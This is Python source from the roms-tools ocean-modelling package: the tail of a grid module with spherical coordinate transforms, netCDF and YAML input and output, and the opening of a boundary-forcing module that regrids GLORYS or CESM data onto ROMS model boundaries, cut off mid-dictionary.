plt.colormaps.get_cmap("YlGnBu") cmap.set_bad(color="gray") kwargs = {"vmax": vmax, "vmin": vmin, "cmap": cmap} _plot( self.ds, field=field, straddle=self.straddle, depth_contours=False, title=title, kwargs=kwargs, ) else: if len(field.dims) == 2: cmap = plt.colormaps.get_cmap("YlGnBu") cmap.set_bad(color="gray") kwargs = {"vmax": 0.0, "vmin": 0.0, "cmap": cmap, "add_colorbar": False} _section_plot( xr.zeros_like(field), interface_depth=interface_depth, title=title, kwargs=kwargs, ) else: if "s_rho" in field.dims or "s_w" in field.dims: _profile_plot(field, title=title) else: _line_plot(field, title=title) def save( self, filepath: Union[str, Path], np_eta: int = None, np_xi: int = None ) -> None: """Save the grid information to a netCDF4 file. This method supports saving the dataset in two modes: 1. **Single File Mode (default)**: If both `np_eta` and `np_xi` are `None`, the entire dataset is saved as a single netCDF4 file with the base filename specified by `filepath.nc`. 2. **Partitioned Mode**: - If either `np_eta` or `np_xi` is specified, the dataset is divided into spatial tiles along the eta-axis and xi-axis. - Each spatial tile is saved as a separate netCDF4 file. Parameters ---------- filepath : Union[str, Path] The base path or filename where the dataset should be saved. np_eta : int, optional The number of partitions along the `eta` direction. If `None`, no spatial partitioning is performed. np_xi : int, optional The number of partitions along the `xi` direction. If `None`, no spatial partitioning is performed. Returns ------- List[Path] A list of Path objects for the filenames that were saved. """ # Ensure filepath is a Path object filepath = Path(filepath) # Remove ".nc" suffix if present if filepath.suffix == ".nc": filepath = filepath.with_suffix("") dataset_list = [self.ds.load()] output_filenames = [str(filepath)] saved_filenames = save_datasets( dataset_list, output_filenames, np_eta=np_eta, np_xi=np_xi ) return saved_filenames @classmethod def from_file(cls, filepath: Union[str, Path]) -> "Grid": """Create a Grid instance from an existing file. Parameters ---------- filepath : Union[str, Path] Path to the file containing the grid information. Returns ------- Grid A new instance of Grid populated with data from the file. """ # Load the dataset from the file ds = xr.open_dataset(filepath) if not all(mask in ds for mask in ["mask_u", "mask_v"]): ds = _add_velocity_masks(ds) # Create a new Grid instance without calling __init__ and __post_init__ grid = cls.__new__(cls) # Set the dataset for the grid instance object.__setattr__(grid, "ds", ds) # Check if the Greenwich meridian goes through the domain. grid._straddle() if not all(coord in grid.ds for coord in ["lat_u", "lon_u", "lat_v", "lon_v"]): ds = _add_lat_lon_at_velocity_points(grid.ds, grid.straddle) object.__setattr__(grid, "ds", ds) # Coarsen the grid if necessary if not all( var in grid.ds for var in [ "lon_coarse", "lat_coarse", "angle_coarse", "mask_coarse", ] ): grid._coarsen() # Move variables to coordinates if necessary for var in ["lat_rho", "lon_rho", "lat_coarse", "lon_coarse"]: if var not in ds.coords: ds = grid.ds.set_coords(var) object.__setattr__(grid, "ds", ds) # Update vertical coordinate if necessary if not all(var in grid.ds for var in ["Cs_r", "Cs_w"]): N = 100 theta_s = 5.0 theta_b = 2.0 hc = 300.0 grid.update_vertical_coordinate( N=N, theta_s=theta_s, theta_b=theta_b, hc=hc ) else: object.__setattr__(grid, "theta_s", ds.attrs["theta_s"].item()) object.__setattr__(grid, "theta_b", ds.attrs["theta_b"].item()) object.__setattr__(grid, "hc", ds.attrs["hc"].item()) object.__setattr__(grid, "N", len(ds.s_rho)) # Manually set the remaining attributes by extracting parameters from dataset object.__setattr__(grid, "nx", ds.sizes["xi_rho"] - 2) object.__setattr__(grid, "ny", ds.sizes["eta_rho"] - 2) if "center_lon" in ds.attrs: center_lon = ds.attrs["center_lon"] elif "tra_lon" in ds: center_lon = extract_single_value(ds["tra_lon"]) else: raise ValueError( "Missing grid information: 'center_lon' attribute or 'tra_lon' variable " "must be present in the dataset." ) object.__setattr__(grid, "center_lon", center_lon) if "center_lat" in ds.attrs: center_lat = ds.attrs["center_lat"] elif "tra_lat" in ds: center_lat = extract_single_value(ds["tra_lat"]) else: raise ValueError( "Missing grid information: 'center_lat' attribute or 'tra_lat' variable " "must be present in the dataset." ) object.__setattr__(grid, "center_lat", center_lat) if "rot" in ds.attrs: rot = ds.attrs["rot"] elif "rotate" in ds: rot = extract_single_value(ds["rotate"]) else: raise ValueError( "Missing grid information: 'rot' attribute or 'rotate' variable " "must be present in the dataset." ) object.__setattr__(grid, "rot", rot) for attr in [ "size_x", "size_y", "topography_source", "hmin", ]: if attr in ds.attrs: a = ds.attrs[attr] else: a = None object.__setattr__(grid, attr, a) return grid def to_yaml(self, filepath: Union[str, Path]) -> None: """Export the parameters of the class to a YAML file, including the version of roms-tools. Parameters ---------- filepath : Union[str, Path] The path to the YAML file where the parameters will be saved. """ filepath = Path(filepath) data = asdict(self) data.pop("ds", None) data.pop("straddle", None) # Include the version of roms-tools try: roms_tools_version = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version = "unknown" # Create header header = f"---\nroms_tools_version: {roms_tools_version}\n---\n" # Use the class name as the top-level key yaml_data = {self.__class__.__name__: data} with filepath.open("w") as file: # Write header file.write(header) # Write YAML data yaml.dump(yaml_data, file, default_flow_style=False) @classmethod def from_yaml(cls, filepath: Union[str, Path]) -> "Grid": """Create an instance of the class from a YAML file. Parameters ---------- filepath : Union[str, Path] The path to the YAML file from which the parameters will be read. Returns ------- Grid An instance of the Grid class. """ filepath = Path(filepath) # Read the entire file content with filepath.open("r") as file: file_content = file.read() # Split the content into YAML documents documents = list(yaml.safe_load_all(file_content)) header_data = None grid_data = None # Iterate over documents to find the header and grid configuration for doc in documents: if doc is None: continue if "roms_tools_version" in doc: header_data = doc elif "Grid" in doc: grid_data = doc["Grid"] if header_data is None: raise ValueError("Version of ROMS-Tools not found in the YAML file.") else: # Check the roms_tools_version roms_tools_version_header = header_data.get("roms_tools_version") # Get current version of roms-tools try: roms_tools_version_current = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version_current = "unknown" if roms_tools_version_header != roms_tools_version_current: warnings.warn( f"Current roms-tools version ({roms_tools_version_current}) does not match the version in the YAML header ({roms_tools_version_header}).", UserWarning, ) if grid_data is None: raise ValueError("No Grid configuration found in the YAML file.") return cls(**grid_data) # override __repr__ method to only print attributes that are actually set def __repr__(self) -> str: cls = self.__class__ cls_name = cls.__name__ # Create a dictionary of attribute names and values, filtering out those that are not set and 'ds' attr_dict = { k: v for k, v in self.__dict__.items() if k != "ds" and v is not None } attr_str = ", ".join(f"{k}={v!r}" for k, v in attr_dict.items()) return f"{cls_name}({attr_str})" def _make_grid_ds( nx: int, ny: int, size_x: float, size_y: float, center_lon: float, center_lat: float, rot: float, ) -> xr.Dataset: _raise_if_domain_size_too_large(size_x, size_y) initial_lon_lat_vars = _make_initial_lon_lat_ds(size_x, size_y, nx, ny) # rotate coordinate system rotated_lon_lat_vars = _rotate(*initial_lon_lat_vars, rot) # translate coordinate system translated_lon_lat_vars = _translate(*rotated_lon_lat_vars, center_lat, center_lon) lon, lat, lonu, latu, lonv, latv, lonq, latq = translated_lon_lat_vars # compute 1/dx and 1/dy pm, pn = _compute_coordinate_metrics(lon, lonu, latu, lonv, latv) # compute angle of local grid positive x-axis relative to east ang = _compute_angle(lon, lonu, latu, lonq) # make sure lons are in [0, 360] range lon[lon < 0] = lon[lon < 0] + 2 * np.pi lonu[lonu < 0] = lonu[lonu < 0] + 2 * np.pi lonv[lonv < 0] = lonv[lonv < 0] + 2 * np.pi lonq[lonq < 0] = lonq[lonq < 0] + 2 * np.pi ds = _create_grid_ds( lon, lat, lonu, latu, lonv, latv, lonq, latq, pm, pn, ang, rot, center_lon, center_lat, ) ds = _add_global_metadata(ds, size_x, size_y, center_lon, center_lat, rot) return ds def _raise_if_domain_size_too_large(size_x, size_y): threshold = 20000 if size_x > threshold or size_y > threshold: raise ValueError("Domain size has to be smaller than %g km" % threshold) def _make_initial_lon_lat_ds(size_x, size_y, nx, ny): # Mercator projection around the equator # initially define the domain to be longer in x-direction (dimension "length") # than in y-direction (dimension "width") to keep grid distortion minimal if size_y > size_x: domain_length, domain_width = size_y * 1e3, size_x * 1e3 # in m nl, nw = ny, nx else: domain_length, domain_width = size_x * 1e3, size_y * 1e3 # in m nl, nw = nx, ny domain_length_in_degrees = domain_length / RADIUS_OF_EARTH domain_width_in_degrees = domain_width / RADIUS_OF_EARTH # 1d array describing the longitudes at cell centers x = np.arange(-0.5, nl + 1.5, 1) lon_array_1d_in_degrees = ( domain_length_in_degrees * x / nl - domain_length_in_degrees / 2 ) # 1d array describing the longitudes at cell corners (or vorticity points "q") xq = np.arange(-1, nl + 2, 1) lonq_array_1d_in_degrees_q = ( domain_length_in_degrees * xq / nl - domain_length_in_degrees / 2 ) # convert degrees latitude to y-coordinate using Mercator projection y1 = np.log(np.tan(np.pi / 4 - domain_width_in_degrees / 4)) y2 = np.log(np.tan(np.pi / 4 + domain_width_in_degrees / 4)) # linearly space points in y-space y = (y2 - y1) * np.arange(-0.5, nw + 1.5, 1) / nw + y1 yq = (y2 - y1) * np.arange(-1, nw + 2) / nw + y1 # inverse Mercator projections lat_array_1d_in_degrees = np.arctan(np.sinh(y)) latq_array_1d_in_degrees = np.arctan(np.sinh(yq)) # 2d grid at cell centers lon, lat = np.meshgrid(lon_array_1d_in_degrees, lat_array_1d_in_degrees) # 2d grid at cell corners lonq, latq = np.meshgrid(lonq_array_1d_in_degrees_q, latq_array_1d_in_degrees) if size_y > size_x: # Rotate grid by 90 degrees because until here the grid has been defined # to be longer in x-direction than in y-direction lon, lat = _rot_sphere(lon, lat, 90) lonq, latq = _rot_sphere(lonq, latq, 90) lon = np.transpose(np.flip(lon, 0)) lat = np.transpose(np.flip(lat, 0)) lonq = np.transpose(np.flip(lonq, 0)) latq = np.transpose(np.flip(latq, 0)) # infer longitudes and latitudes at u- and v-points lonu = 0.5 * (lon[:, :-1] + lon[:, 1:]) latu = 0.5 * (lat[:, :-1] + lat[:, 1:]) lonv = 0.5 * (lon[:-1, :] + lon[1:, :]) latv = 0.5 * (lat[:-1, :] + lat[1:, :]) # TODO wrap up into temporary container Dataset object? return lon, lat, lonu, latu, lonv, latv, lonq, latq def _rotate(lon, lat, lonu, latu, lonv, latv, lonq, latq, rot): """Rotate grid counterclockwise relative to surface of Earth by rot degrees.""" (lon, lat) = _rot_sphere(lon, lat, rot) (lonu, latu) = _rot_sphere(lonu, latu, rot) (lonv, latv) = _rot_sphere(lonv, latv, rot) (lonq, latq) = _rot_sphere(lonq, latq, rot) return lon, lat, lonu, latu, lonv, latv, lonq, latq def _translate(lon, lat, lonu, latu, lonv, latv, lonq, latq, tra_lat, tra_lon): """Translate grid so that the centre lies at the position (tra_lat, tra_lon)""" (lon, lat) = _tra_sphere(lon, lat, tra_lat) (lonu, latu) = _tra_sphere(lonu, latu, tra_lat) (lonv, latv) = _tra_sphere(lonv, latv, tra_lat) (lonq, latq) = _tra_sphere(lonq, latq, tra_lat) lon = lon + tra_lon * np.pi / 180 lonu = lonu + tra_lon * np.pi / 180 lonv = lonv + tra_lon * np.pi / 180 lonq = lonq + tra_lon * np.pi / 180 lon[lon < -np.pi] = lon[lon < -np.pi] + 2 * np.pi lonu[lonu < -np.pi] = lonu[lonu < -np.pi] + 2 * np.pi lonv[lonv < -np.pi] = lonv[lonv < -np.pi] + 2 * np.pi lonq[lonq < -np.pi] = lonq[lonq < -np.pi] + 2 * np.pi return lon, lat, lonu, latu, lonv, latv, lonq, latq def _rot_sphere(lon, lat, rot): (n, m) = np.shape(lon) # convert rotation angle from degrees to radians rot = rot * np.pi / 180 # translate into Cartesian coordinates x,y,z # conventions: (lon,lat) = (0,0) corresponds to (x,y,z) = ( 0,-r, 0) # (lon,lat) = (0,90) corresponds to (x,y,z) = ( 0, 0, r) x1 = np.sin(lon) * np.cos(lat) y1 = np.cos(lon) * np.cos(lat) z1 = np.sin(lat) # We will rotate these points around the small circle defined by # the intersection of the sphere and the plane that # is orthogonal to the line through (lon,lat) (0,0) and (180,0) # The rotation is in that plane around its intersection with # aforementioned line. # Since the plane is orthogonal to the y-axis (in my definition at least), # Rotations in the plane of the small circle maintain constant y and are around # (x,y,z) = (0,y1,0) rp1 = np.sqrt(x1**2 + z1**2) ap1 = np.pi / 2 * np.ones((n, m)) ap1[np.abs(x1) > 1e-7] = np.arctan( np.abs(z1[np.abs(x1) > 1e-7] / x1[np.abs(x1) > 1e-7]) ) ap1[x1 < 0] = np.pi - ap1[x1 < 0] ap1[z1 < 0] = -ap1[z1 < 0] ap2 = ap1 + rot x2 = rp1 * np.cos(ap2) y2 = y1 z2 = rp1 * np.sin(ap2) lon = np.pi / 2 * np.ones((n, m)) lon[abs(y2) > 1e-7] = np.arctan( np.abs(x2[np.abs(y2) > 1e-7] / y2[np.abs(y2) > 1e-7]) ) lon[y2 < 0] = np.pi - lon[y2 < 0] lon[x2 < 0] = -lon[x2 < 0] pr2 = np.sqrt(x2**2 + y2**2) lat = np.pi / 2 * np.ones((n, m)) lat[np.abs(pr2) > 1e-7] = np.arctan( np.abs(z2[np.abs(pr2) > 1e-7] / pr2[np.abs(pr2) > 1e-7]) ) lat[z2 < 0] = -lat[z2 < 0] return (lon, lat) def _tra_sphere(lon, lat, tra): (n, m) = np.shape(lon) tra = tra * np.pi / 180 # translation in latitude direction # translate into x,y,z # conventions: (lon,lat) = (0,0) corresponds to (x,y,z) = ( 0,-r, 0) # (lon,lat) = (0,90) corresponds to (x,y,z) = ( 0, 0, r) x1 = np.sin(lon) * np.cos(lat) y1 = np.cos(lon) * np.cos(lat) z1 = np.sin(lat) # We will rotate these points around the small circle defined by # the intersection of the sphere and the plane that # is orthogonal to the line through (lon,lat) (90,0) and (-90,0) # The rotation is in that plane around its intersection with # aforementioned line. # Since the plane is orthogonal to the x-axis (in my definition at least), # Rotations in the plane of the small circle maintain constant x and are around # (x,y,z) = (x1,0,0) rp1 = np.sqrt(y1**2 + z1**2) ap1 = np.pi / 2 * np.ones((n, m)) ap1[np.abs(y1) > 1e-7] = np.arctan( np.abs(z1[np.abs(y1) > 1e-7] / y1[np.abs(y1) > 1e-7]) ) ap1[y1 < 0] = np.pi - ap1[y1 < 0] ap1[z1 < 0] = -ap1[z1 < 0] ap2 = ap1 + tra x2 = x1 y2 = rp1 * np.cos(ap2) z2 = rp1 * np.sin(ap2) ## transformation from (x,y,z) to (lat,lon) lon = np.pi / 2 * np.ones((n, m)) lon[np.abs(y2) > 1e-7] = np.arctan( np.abs(x2[np.abs(y2) > 1e-7] / y2[np.abs(y2) > 1e-7]) ) lon[y2 < 0] = np.pi - lon[y2 < 0] lon[x2 < 0] = -lon[x2 < 0] pr2 = np.sqrt(x2**2 + y2**2) lat = np.pi / (2 * np.ones((n, m))) lat[np.abs(pr2) > 1e-7] = np.arctan( np.abs(z2[np.abs(pr2) > 1e-7] / pr2[np.abs(pr2) > 1e-7]) ) lat[z2 < 0] = -lat[z2 < 0] return (lon, lat) def _compute_coordinate_metrics(lon, lonu, latu, lonv, latv): """Compute the curvilinear coordinate metrics pn and pm, defined as 1/grid spacing.""" # pm = 1/dx pmu = gc_dist(lonu[:, :-1], latu[:, :-1], lonu[:, 1:], latu[:, 1:]) pm = 0 * lon pm[:, 1:-1] = pmu pm[:, 0] = pm[:, 1] pm[:, -1] = pm[:, -2] pm = 1 / pm # pn = 1/dy pnv = gc_dist(lonv[:-1, :], latv[:-1, :], lonv[1:, :], latv[1:, :]) pn = 0 * lon pn[1:-1, :] = pnv pn[0, :] = pn[1, :] pn[-1, :] = pn[-2, :] pn = 1 / pn return pn, pm def gc_dist(lon1, lat1, lon2, lat2): # Distance between 2 points along a great circle # lat and lon in radians!! # 2008, Jeroen Molemaker, UCLA dlat = lat2 - lat1 dlon = lon2 - lon1 dang = 2 * np.arcsin( np.sqrt( np.sin(dlat / 2) ** 2 + np.cos(lat2) * np.cos(lat1) * np.sin(dlon / 2) ** 2 ) ) # haversine function dis = RADIUS_OF_EARTH * dang return dis def _compute_angle(lon, lonu, latu, lonq): """Compute angles of local grid positive x-axis relative to east.""" dellat = latu[:, 1:] - latu[:, :-1] dellon = lonu[:, 1:] - lonu[:, :-1] dellon[dellon > np.pi] = dellon[dellon > np.pi] - 2 * np.pi dellon[dellon < -np.pi] = dellon[dellon < -np.pi] + 2 * np.pi dellon = dellon * np.cos(0.5 * (latu[:, 1:] + latu[:, :-1])) ang = copy.copy(lon) ang_s = np.arctan(dellat / (dellon + 1e-16)) ang_s[(dellon < 0) & (dellat < 0)] = ang_s[(dellon < 0) & (dellat < 0)] - np.pi ang_s[(dellon < 0) & (dellat >= 0)] = ang_s[(dellon < 0) & (dellat >= 0)] + np.pi ang_s[ang_s > np.pi] = ang_s[ang_s > np.pi] - np.pi ang_s[ang_s < -np.pi] = ang_s[ang_s < -np.pi] + np.pi ang[:, 1:-1] = ang_s ang[:, 0] = ang[:, 1] ang[:, -1] = ang[:, -2] return ang def _create_grid_ds( lon, lat, lonu, latu, lonv, latv, lonq, latq, pm, pn, angle, rot, center_lon, center_lat, ): ds = xr.Dataset() lon_rho = xr.Variable( data=lon * 180 / np.pi, dims=["eta_rho", "xi_rho"], attrs={"long_name": "longitude of rho-points", "units": "degrees East"}, ) lat_rho = xr.Variable( data=lat * 180 / np.pi, dims=["eta_rho", "xi_rho"], attrs={"long_name": "latitude of rho-points", "units": "degrees North"}, ) lon_u = xr.Variable( data=lonu * 180 / np.pi, dims=["eta_rho", "xi_u"], attrs={"long_name": "longitude of u-points", "units": "degrees East"}, ) lat_u = xr.Variable( data=latu * 180 / np.pi, dims=["eta_rho", "xi_u"], attrs={"long_name": "latitude of u-points", "units": "degrees North"}, ) lon_v = xr.Variable( data=lonv * 180 / np.pi, dims=["eta_v", "xi_rho"], attrs={"long_name": "longitude of v-points", "units": "degrees East"}, ) lat_v = xr.Variable( data=latv * 180 / np.pi, dims=["eta_v", "xi_rho"], attrs={"long_name": "latitude of v-points", "units": "degrees North"}, ) # lon_q = xr.Variable( # data=lonq * 180 / np.pi, # dims=["eta_psi", "xi_psi"], # attrs={"long_name": "longitude of psi-points", "units": "degrees East"}, # ) # lat_q = xr.Variable( # data=latq * 180 / np.pi, # dims=["eta_psi", "xi_psi"], # attrs={"long_name": "latitude of psi-points", "units": "degrees North"}, # ) ds = ds.assign_coords( { "lat_rho": lat_rho, "lon_rho": lon_rho, "lat_u": lat_u, "lon_u": lon_u, "lat_v": lat_v, "lon_v": lon_v, # "lat_psi": lat_q, # "lon_psi": lon_q, } ) ds["angle"] = xr.Variable( data=angle, dims=["eta_rho", "xi_rho"], attrs={"long_name": "Angle between xi axis and east", "units": "radians"}, ) # Coriolis frequency f0 = 4 * np.pi * np.sin(lat) / (24 * 3600) ds["f"] = xr.Variable( data=f0, dims=["eta_rho", "xi_rho"], attrs={"long_name": "Coriolis parameter at rho-points", "units": "second-1"}, ) ds["pm"] = xr.Variable( data=pm, dims=["eta_rho", "xi_rho"], attrs={ "long_name": "Curvilinear coordinate metric in xi-direction", "units": "meter-1", }, ) ds["pn"] = xr.Variable( data=pn, dims=["eta_rho", "xi_rho"], attrs={ "long_name": "Curvilinear coordinate metric in eta-direction", "units": "meter-1", }, ) return ds def _add_global_metadata(ds, size_x, size_y, center_lon, center_lat, rot): ds["spherical"] = xr.DataArray(np.array("T", dtype="S1")) ds["spherical"].attrs["Long_name"] = "Grid type logical switch" ds["spherical"].attrs["option_T"] = "spherical" ds.attrs["title"] = "ROMS grid created by ROMS-Tools" # Include the version of roms-tools try: roms_tools_version = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version = "unknown" ds.attrs["roms_tools_version"] = roms_tools_version ds.attrs["size_x"] = size_x ds.attrs["size_y"] = size_y ds.attrs["center_lon"] = center_lon ds.attrs["center_lat"] = center_lat ds.attrs["rot"] = rot return ds def _f2c(f): """Coarsen input xarray DataArray f in both x- and y-direction. Parameters ---------- f : xarray.DataArray Input DataArray with dimensions (nxp, nyp). Returns ------- fc : xarray.DataArray Output DataArray with modified dimensions and values. """ fc = _f2c_xdir(f) fc = fc.transpose() fc = _f2c_xdir(fc) fc = fc.transpose() fc = fc.rename({"eta_rho": "eta_coarse", "xi_rho": "xi_coarse"}) return fc def _f2c_xdir(f): """Coarsen input xarray DataArray f in x-direction. Parameters ---------- f : xarray.DataArray Input DataArray with dimensions (nxp, nyp). Returns ------- fc : xarray.DataArray Output DataArray with modified dimensions and values. """ nxp, nyp = f.shape nxcp = (nxp - 2) // 2 + 2 fc = xr.DataArray(np.zeros((nxcp, nyp)), dims=f.dims) # Calculate the interior values fc[1:-1, :] = 0.5 * (f[1:-2:2, :] + f[2:-1:2, :]) # Calculate the first row fc[0, :] = f[0, :] + 0.5 * (f[0, :] - f[1, :]) # Calculate the last row fc[-1, :] = f[-1, :] + 0.5 * (f[-1, :] - f[-2, :]) return fc def _add_lat_lon_at_velocity_points(ds, straddle): """Adds latitude and longitude coordinates at velocity points (u and v points) to the dataset. This function computes approximate latitude and longitude values at u and v velocity points based on the rho points (cell centers). If the grid straddles the Greenwich meridian, it adjusts the longitudes to avoid jumps from 360 to 0 degrees. The computed coordinates are added to the dataset as new variables with appropriate metadata. Parameters ---------- ds : xarray.Dataset The input dataset containing rho point coordinates ("lat_rho", "lon_rho"). straddle : bool Indicates whether the grid straddles the Greenwich meridian. If True, longitudes are adjusted to avoid discontinuities. Returns ------- ds : xarray.Dataset The dataset with added coordinates for u and v points ("lat_u", "lon_u", "lat_v", "lon_v"). Notes ----- This function only computes approximate latitude and longitude values. It should only be used if more accurate values are not available from grid generation. """ if straddle: # avoid jump from 360 to 0 in interpolation lon_rho = xr.where(ds["lon_rho"] > 180, ds["lon_rho"] - 360, ds["lon_rho"]) else: lon_rho = ds["lon_rho"] lat_rho = ds["lat_rho"] lat_u = interpolate_from_rho_to_u(lat_rho) lon_u = interpolate_from_rho_to_u(lon_rho) lat_v = interpolate_from_rho_to_v(lat_rho) lon_v = interpolate_from_rho_to_v(lon_rho) if straddle: # convert back to range [0, 360] lon_u = xr.where(lon_u < 0, lon_u + 360, lon_u) lon_v = xr.where(lon_v < 0, lon_v + 360, lon_v) lat_u.attrs = {"long_name": "latitude of u-points", "units": "degrees North"} lon_u.attrs = {"long_name": "longitude of u-points", "units": "degrees East"} lat_v.attrs = {"long_name": "latitude of v-points", "units": "degrees North"} lon_v.attrs = {"long_name": "longitude of v-points", "units": "degrees East"} ds = ds.assign_coords( { "lat_u": lat_u, "lon_u": lon_u, "lat_v": lat_v, "lon_v": lon_v, } ) return ds
45,074
Python
.py
1,086
32.552486
158
0.569483
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,712
boundary_forcing.py
CWorthy-ocean_roms-tools/roms_tools/setup/boundary_forcing.py
import xarray as xr import numpy as np import pandas as pd import yaml import importlib.metadata from typing import Dict, Union, List from dataclasses import dataclass, field, asdict from roms_tools.setup.grid import Grid from roms_tools.setup.fill import _lateral_fill from roms_tools.setup.regrid import _lateral_regrid, _vertical_regrid from datetime import datetime from roms_tools.setup.datasets import GLORYSDataset, CESMBGCDataset from roms_tools.setup.utils import ( nan_check, substitute_nans_by_fillvalue, get_variable_metadata, group_dataset, save_datasets, get_target_coords, rotate_velocities, compute_barotropic_velocity, _extrapolate_deepest_to_bottom, transpose_dimensions, ) from roms_tools.setup.plot import _section_plot, _line_plot import matplotlib.pyplot as plt from pathlib import Path @dataclass(frozen=True, kw_only=True) class BoundaryForcing: """Represents boundary forcing input data for ROMS. Parameters ---------- grid : Grid Object representing the grid information. start_time : datetime Start time of the desired boundary forcing data. end_time : datetime End time of the desired boundary forcing data. boundaries : Dict[str, bool], optional Dictionary specifying which boundaries are forced (south, east, north, west). Default is all True. source : Dict[str, Union[str, Path, List[Union[str, Path]]], bool] Dictionary specifying the source of the boundary forcing data. Keys include: - "name" (str): Name of the data source (e.g., "GLORYS"). - "path" (Union[str, Path, List[Union[str, Path]]]): The path to the raw data file(s). This can be: - A single string (with or without wildcards). - A single Path object. - A list of strings or Path objects containing multiple files. - "climatology" (bool): Indicates if the data is climatology data. Defaults to False. type : str Specifies the type of forcing data. Options are: - "physics": for physical atmospheric forcing. - "bgc": for biogeochemical forcing. model_reference_date : datetime, optional Reference date for the model. Default is January 1, 2000. use_dask: bool, optional Indicates whether to use dask for processing. If True, data is processed with dask; if False, data is processed eagerly. Defaults to False. Examples -------- >>> boundary_forcing = BoundaryForcing( ... grid=grid, ... boundaries={"south": True, "east": True, "north": False, "west": True}, ... start_time=datetime(2022, 1, 1), ... end_time=datetime(2022, 1, 2), ... source={"name": "GLORYS", "path": "glorys_data.nc"}, ... type="physics", ... ) """ grid: Grid start_time: datetime end_time: datetime boundaries: Dict[str, bool] = field( default_factory=lambda: { "south": True, "east": True, "north": True, "west": True, } ) source: Dict[str, Union[str, Path, List[Union[str, Path]]]] type: str = "physics" model_reference_date: datetime = datetime(2000, 1, 1) use_dask: bool = False ds: xr.Dataset = field(init=False, repr=False) def __post_init__(self): self._input_checks() target_coords = get_target_coords(self.grid) data = self._get_data() data.choose_subdomain( latitude_range=[ target_coords["lat"].min().values, target_coords["lat"].max().values, ], longitude_range=[ target_coords["lon"].min().values, target_coords["lon"].max().values, ], margin=2, straddle=target_coords["straddle"], ) variable_info = self._set_variable_info(data) data_vars = {} data_vars = _extrapolate_deepest_to_bottom(data_vars, data) data_vars = _lateral_fill(data_vars, data) bdry_coords = get_boundary_info() ds = xr.Dataset() for direction in ["south", "east", "north", "west"]: if self.boundaries[direction]: bdry_data_vars = data_vars.copy() # lateral regridding of vector fields vector_var_names = [ name for name, info in variable_info.items() if info["is_vector"] ] if len(vector_var_names) > 0: lon = target_coords["lon"].isel(**bdry_coords["vector"][direction]) lat = target_coords["lat"].isel(**bdry_coords["vector"][direction]) bdry_data_vars = _lateral_regrid( data, lon, lat, bdry_data_vars, vector_var_names ) # lateral regridding of tracer fields tracer_var_names = [ name for name, info in variable_info.items() if not info["is_vector"] ] if len(tracer_var_names) > 0: lon = target_coords["lon"].isel(**bdry_coords["rho"][direction]) lat = target_coords["lat"].isel(**bdry_coords["rho"][direction]) bdry_data_vars = _lateral_regrid( data, lon, lat, bdry_data_vars, tracer_var_names ) # rotation of velocities and interpolation to u/v points if "u" in variable_info and "v" in variable_info: angle = target_coords["angle"].isel( **bdry_coords["vector"][direction] ) (bdry_data_vars["u"], bdry_data_vars["v"],) = rotate_velocities( bdry_data_vars["u"], bdry_data_vars["v"], angle, interpolate=True, ) # selection of outermost margin for u/v variables for var in variable_info.keys(): if var in bdry_data_vars: location = variable_info[var]["location"] if location in ["u", "v"]: bdry_data_vars[var] = bdry_data_vars[var].isel( **bdry_coords[location][direction] ) # vertical regridding for location in ["rho", "u", "v"]: var_names = [ name for name, info in variable_info.items() if info["location"] == location and info["is_3d"] ] if len(var_names) > 0: bdry_data_vars = _vertical_regrid( data, self.grid.ds[f"layer_depth_{location}"].isel( **bdry_coords[location][direction], ), bdry_data_vars, var_names, ) # compute barotropic velocities if "u" in variable_info and "v" in variable_info: for var in ["u", "v"]: bdry_data_vars[f"{var}bar"] = compute_barotropic_velocity( bdry_data_vars[var], self.grid.ds[f"interface_depth_{var}"].isel( **bdry_coords[var][direction] ), ) # Reorder dimensions for var in bdry_data_vars.keys(): bdry_data_vars[var] = transpose_dimensions(bdry_data_vars[var]) # Write the boundary data into dataset ds = self._write_into_dataset(direction, bdry_data_vars, ds) # Add global information ds = self._add_global_metadata(data, ds) # NaN values at wet points indicate that the raw data did not cover the domain, and the following will raise a ValueError # this check works only for 2D fields because for 3D I extrapolate to bottom which eliminates NaNs for direction in ["south", "east", "north", "west"]: if self.boundaries[direction]: if type == "physics": nan_check( ds[f"zeta_{direction}"].isel(bry_time=0), self.grid.ds.mask_rho.isel(**bdry_coords["rho"][direction]), ) elif type == "bgc": nan_check( ds[f"ALK_{direction}"].isel(bry_time=0, s_rho=-1), self.grid.ds.mask_rho.isel(**bdry_coords["rho"][direction]), ) # substitute NaNs over land by a fill value to avoid blow-up of ROMS for var in ds.data_vars: ds[var] = substitute_nans_by_fillvalue(ds[var]) object.__setattr__(self, "ds", ds) def _input_checks(self): # Validate the 'type' parameter if self.type not in ["physics", "bgc"]: raise ValueError("`type` must be either 'physics' or 'bgc'.") # Ensure 'source' dictionary contains required keys if "name" not in self.source: raise ValueError("`source` must include a 'name'.") if "path" not in self.source: raise ValueError("`source` must include a 'path'.") # Set 'climatology' to False if not provided in 'source' object.__setattr__( self, "source", {**self.source, "climatology": self.source.get("climatology", False)}, ) def _get_data(self): data_dict = { "filename": self.source["path"], "start_time": self.start_time, "end_time": self.end_time, "climatology": self.source["climatology"], "use_dask": self.use_dask, } if self.type == "physics": if self.source["name"] == "GLORYS": data = GLORYSDataset(**data_dict) else: raise ValueError( 'Only "GLORYS" is a valid option for source["name"] when type is "physics".' ) elif self.type == "bgc": if self.source["name"] == "CESM_REGRIDDED": data = CESMBGCDataset(**data_dict) else: raise ValueError( 'Only "CESM_REGRIDDED" is a valid option for source["name"] when type is "bgc".' ) return data def _set_variable_info(self, data): """Sets up a dictionary with metadata for variables based on the type of data (physics or BGC). The dictionary contains the following information: - `location`: Where the variable resides in the grid (e.g., rho, u, or v points). - `is_vector`: Whether the variable is part of a vector (True for velocity components like 'u' and 'v'). - `vector_pair`: For vector variables, this indicates the associated variable that forms the vector (e.g., 'u' and 'v'). - `is_3d`: Indicates whether the variable is 3D (True for variables like 'temp' and 'salt') or 2D (False for 'zeta'). Returns ------- dict A dictionary where the keys are variable names and the values are dictionaries of metadata about each variable, including 'location', 'is_vector', 'vector_pair', and 'is_3d'. """ default_info = { "location": "rho", "is_vector": False, "vector_pair": None, "is_3d": True, } # Define a dictionary for variable names and their associated information if self.type == "physics": variable_info = { "zeta": { "location": "rho", "is_vector": False, "vector_pair": None, 